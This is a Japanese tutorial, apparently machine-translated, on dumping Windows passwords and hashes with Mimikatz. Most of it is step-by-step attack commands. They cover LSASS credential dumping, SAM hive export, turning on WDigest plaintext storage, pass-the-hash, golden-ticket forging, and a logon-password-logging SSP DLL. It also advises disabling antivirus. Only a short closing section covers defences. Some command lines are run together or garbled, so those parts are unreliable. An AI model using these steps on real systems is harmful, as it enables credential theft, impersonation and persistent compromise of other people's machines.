この記事は少し雑然としていますが、要するにMimikatzを使ってWindowsのパスワードとハッシュを取得する方法についてです。攻撃者やペネトレーションテスターがどのようにしてメモリから直接認証情報を取得するのか疑問に思ったことがあるなら、まさにこれが彼らのやり方です。もちろん、Windowsはこうした攻撃をブロックする能力が大幅に向上しています。特にCredential Guardが有効になっているWindows 11やServer 2025などの新しいバージョンでは顕著です。それでも、古い設定や設定ミスのあるマシンでは、管理者であれば驚くほど簡単にパスワードやハッシュを取得できてしまいます。
- ミミカッツ:初心者ガイド
- LSASSメモリからユーザー資格情報をダンプする
- メモリダンプからパスワードハッシュを抽出する
- 休止状態および VM ファイルからのパスワード
- Wdigest: プレーンテキストパスワード
- SAMからのローカルユーザーハッシュ
- パス・ザ・ハッシュ攻撃
- 資格情報マネージャーからパスワードを取得する
- ログオン時にパスワードをダンプする
- 資格情報の不正取得から Windows をより安全に
Mimikatzは、いわば認証情報抽出のスイスアーミーナイフのような存在です。Windowsメモリからパスワード、ハッシュ、Kerberosチケットなどを盗み取ることができます。ほとんどのウイルス対策プログラムは、これを悪意のある、あるいは疑わしいものとしてフラグ付けします(攻撃によく使用されるため)。そのため、例外を設定するか、セキュリティを一時的に無効にする必要があるかもしれません。また、特にCredential Guardが有効になっている新しいWindowsシステムでは、これらの方法の多くが機能しません。WindowsはLSASSへのメモリアクセスを積極的にブロックするか、隔離するため、パスワードのダンプは非常に困難になります。しかし、古いビルドやセキュリティが適切に設定されていない環境では、驚くほど簡単に実行できます。
ミミカッツ:初心者ガイド
Mimikatz を実行すると、Windows の秘密の領域へのコマンドラインポータルを開くようなものです。mimikatz.exe を起動すると、対話型シェルが開き、コマンドを入力して資格情報をダンプできます。LSASS からパスワードを取得したり、Kerberos チケットを取得したり、Windows 資格情報マネージャーから資格情報を抽出したり、Kerberos のゴールデンチケットを偽造したりするためのモジュールが用意されています。必ず 管理者権限 で実行してください。そのためには、コマンドプロンプトまたは PowerShell を右クリックし、「管理者として実行」を選択して、そこから mimikatz を起動してください。最新のリリース(通常は実行ファイルを含む mimikatz_trunk.zip)が必要です。
- sekurlsa : lsass.exe からパスワード、ハッシュ、チケットをダンプします
- kerberos : Kerberosチケットを操作し、ゴールデンチケットを作成します
- 資格情報保管庫: Windows 資格情報マネージャーに保存されている資格情報を取得します
- lsadump : LSASS と SAM からパスワードハッシュと秘密を抽出します
覚えておくべき基本的なコマンドをいくつか紹介します。
privilege::debug: デバッグ トークンを取得します。ほとんどのコマンドはメモリにアクセスするためにこの権限を必要とするため重要です。sekurlsa::logonpasswords: 現在ログインしているユーザーのパスワード/ハッシュ/チケットをダンプします。lsadump::sam: ローカルユーザーハッシュを取得します。kerberos::golden /user:Admin /domain:example.local /sid:S-1-5-21.../krbtgt:<HASH> /ptt: なりすまし用のゴールデンチケットを作成します。
LSASSメモリからユーザー資格情報をダンプする
mimikatz を管理者権限で実行できる場合、LSASS プロセス(Windows がセキュリティ情報を処理するために使用するメモリ領域)からログイン中のすべてのユーザー認証情報を取得できます。Windows Server 2016 などのシステムでは、通常、以下の手順を実行します。
- mimikatz を管理者として起動します。
- 実行
privilege::debug– システムプロセスを調べるために必要な権限を付与します。 - セッションの一覧を表示します:
sekurlsa::logonpasswords full— ハッシュ、プレーンテキストのパスワード、メモリ内のすべてを出力します。
一部のシステムでは、NTLMハッシュとパスワードがすべて表示されることがあります。古いWindowsでは簡単ですが、Credential Guardを搭載した新しいバージョンでは、これがデフォルトで無効になっています。例えば、次のようなエラーが表示される場合は、おそらくWindowsのセキュリティが厳重になっていることが原因です。環境によっては、 ProcDumpERROR kuhl_m_sekurlsa_acquireLSAなどのツールやNanodumpなどの専用ツールを使用してLSASSメモリをダンプする必要があるかもしれません。
メモリダンプからパスワードハッシュを抽出する
アンチチートやアンチウイルスソフトがライブメモリへのアクセスをブロックしている場合は、まずLSASS.exeのダンプを作成する必要があるかもしれません。これは以下の手順で行います。
- タスク マネージャーを開き、lsass.exeを見つけます。
- 右クリックして「ダンプファイルの作成」を選択します。ダンプは一時フォルダまたは保存した場所に表示されます。
- Windows 11以降の場合、LSASSがRunAsPPLで保護されている可能性があることに注意してください。そのため、ダンプを取得するには、まずその保護を無効にする必要があるかもしれません(うーん、Windowsは必要以上に難しくしているのですね)。
Nanodumpなどのツールを使うか、ダンプファイルにmimicb.dllをロードして後で解析してください。ダンプファイルをWinDbgにロードしてから、mimikatzのDLLをロードすることもできます。
.load mimilib.dll !process 0 0 lsass.exe.process /r /p FFFFFA80XXXXXXX !mimikatz
そこからsekurlsa::logonpasswordsダンプを実行して認証情報を確認します。この方法はより複雑ですが、メモリ保護が有効な場合は効果的です。
休止状態および VM ファイルからパスワードを取得する
古いメモリダンプは、hiberfil.sys または VM ページファイル (.vmem) に保存されている場合があります。WinDbg などのツールや、 bin2dmp.exeで VM ファイルを変換することで、そこに保存されているパスワードのヒントを抽出できる場合があります。vmem ファイルの変換方法:
bin2dmp.exe "vm.vmem" vm.dmp
次に、そのダンプをWinDbgに読み込み、lsass.exeプロセスを見つけて、mimikatzコマンドを実行して認証情報を抽出します。確かに少し高度な方法ですが、これらのファイルにデータが保存されていると思われる場合は有効です。
WDigest: プレーンテキストパスワードの抽出
Windows 8.1より前のWindowsでは、WDigestプロトコルを介して平文のパスワードがメモリに保存されていました。WDigestが有効になっている場合、mimikatzはLSASSからこれらのパスワードを取得できます。WDigestが有効になっているかどうかを確認するには、以下の手順を実行してください。
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
1に設定すると、パスワードは平文で保存され、アクセス可能になります。有効にするには、以下を実行します。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
次に、グループ ポリシーの更新を強制し ( gpupdate /force)、ユーザーがログインするまで待機します。wdigest が有効になってアクティブになると、miminikatz はsekurlsa::wdigestメモリから直接パスワードを取得できるようになりますが、これは誤用されると非常に危険です。
SAMからローカルユーザーハッシュをダンプする
ローカルアカウントのハッシュを取得するには、管理者権限が必要です。MimikatzはSAMデータベースをダンプすることで、ローカルユーザー(組み込みの管理者を含む)のNTLMハッシュを抽出できます。
- 権限::デバッグ
- token::elevate — 適切な権限を確保します。
lsadump::sam— 最終的にそれらのハッシュをダンプします。
または、SAM および SYSTEM レジストリ ハイブをエクスポートし、次のように mimikatz にロードします。
reg save hklm\sam c:\tmp\sam.hiv reg save hklm\security c:\tmp\sec.hiv privilege::debug lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
これは、オフラインでハッシュを分析したり、パスワード監査を実行したりする場合に特に便利です。
パス・ザ・ハッシュ攻撃の実行
ダンプされたハッシュは、平文のパスワードを必要とせずにシステムにアクセスするために再利用できます。Mimikatzのsekurlsa::pthコマンドを使用すると、ハッシュを渡すことでユーザーになりすまし、セッションまたはプロセスを起動できます。
privilege::debug sekurlsa::pth /user:Admin /domain:example.com /ntlm:<NTLM_HASH> /run:powershell.exe
これにより、パスワードを知らなくても、そのユーザーコンテキストで実行されるPowerShellが開きます。非常に強力ですが、悪用されると少し恐ろしいです。
Windows 資格情報マネージャーからパスワードをダンプする
資格情報マネージャーに保存されたパスワードも対象となります。
privilege::debug sekurlsa::credman
リモートデスクトップのパスワードやウェブサイトの認証情報など、保存されているすべての認証情報が表示されます。このような情報を管理している場合は、ここにダンプされるとプレーンテキストで保存されるため、セキュリティ上の大きなリスクがあることに注意してください。
ログオン時にパスワードをダンプする
これはちょっとニッチな話ですが、内部関係者や悪意のある人物にとっては、Mimikatz DLLを使ったSSPプロバイダーを追加することで、ユーザーのログイン時にパスワードをログファイルに書き込むことができます。C :\Windows\System32mimilib.dllにコピーし、レジストリ設定を調整すれば、誰かがログインするたびにパスワードが記録されるようになります。
ログを読むには:
Get-Content C:\Windows\System32\kiwissp.log
これは巧妙な方法ですが、通常のユーザー権限では決して使用できず、管理者権限が必要です。
資格情報の不正取得に対する Windows の強化
最新のWindowsは、これらのツールをブロックする能力が大幅に向上しています。Credential Guardを有効にし、Windowsを最新の状態に保ち、WDigestを無効にし、LM/NTLMハッシュを無効にすることは良い対策です。また、レジストリ経由でLSA ProtectionをRunAsPPL有効にすると、LSASSのダンプを防ぐのに役立ちます。そして、不必要に管理者権限を付与することは避けてください。管理者権限を持つユーザーが増えれば増えるほど、mimikatzなどのツールを実行するのが容易になります。
結局のところ、これはセキュリティのいたちごっこのようなものです。システムを守りたいのは当然ですが、攻撃者がどのように侵入を試みるかを理解しておくことも重要です。この方法は、マシンによってはうまく機能しますが、そうでない場合もあります。しかし、仕組みを理解することが、戦いの半分を勝ち取ることになるのです。
まとめ
- mimikatz を管理者として実行すると、Windows が許可している場合、多くの資格情報を取得できます。
- 新しいシステムは LSASS を非常に適切に保護しているので、そこでエラーや障害が発生することが予想されます。
- システムを常に最新の状態に保ち、これらの手法に対してセキュリティを確保してください。
まとめ
こうした状況は少々不安ではありますが、同時に適切なセキュリティ対策の重要性も浮き彫りにしています。環境を保護する場合は、Credential Guard を有効にし、定期的に更新し、強力で複雑なパスワードの使用を強制するようにしてください。管理者権限を取得すれば、好むと好まざるとにかかわらず、ほぼすべての操作を掌握されてしまうからです。この情報が、認証情報がどのように盗まれるのか、そしてその対策について少しでも理解を深める助けになれば幸いです。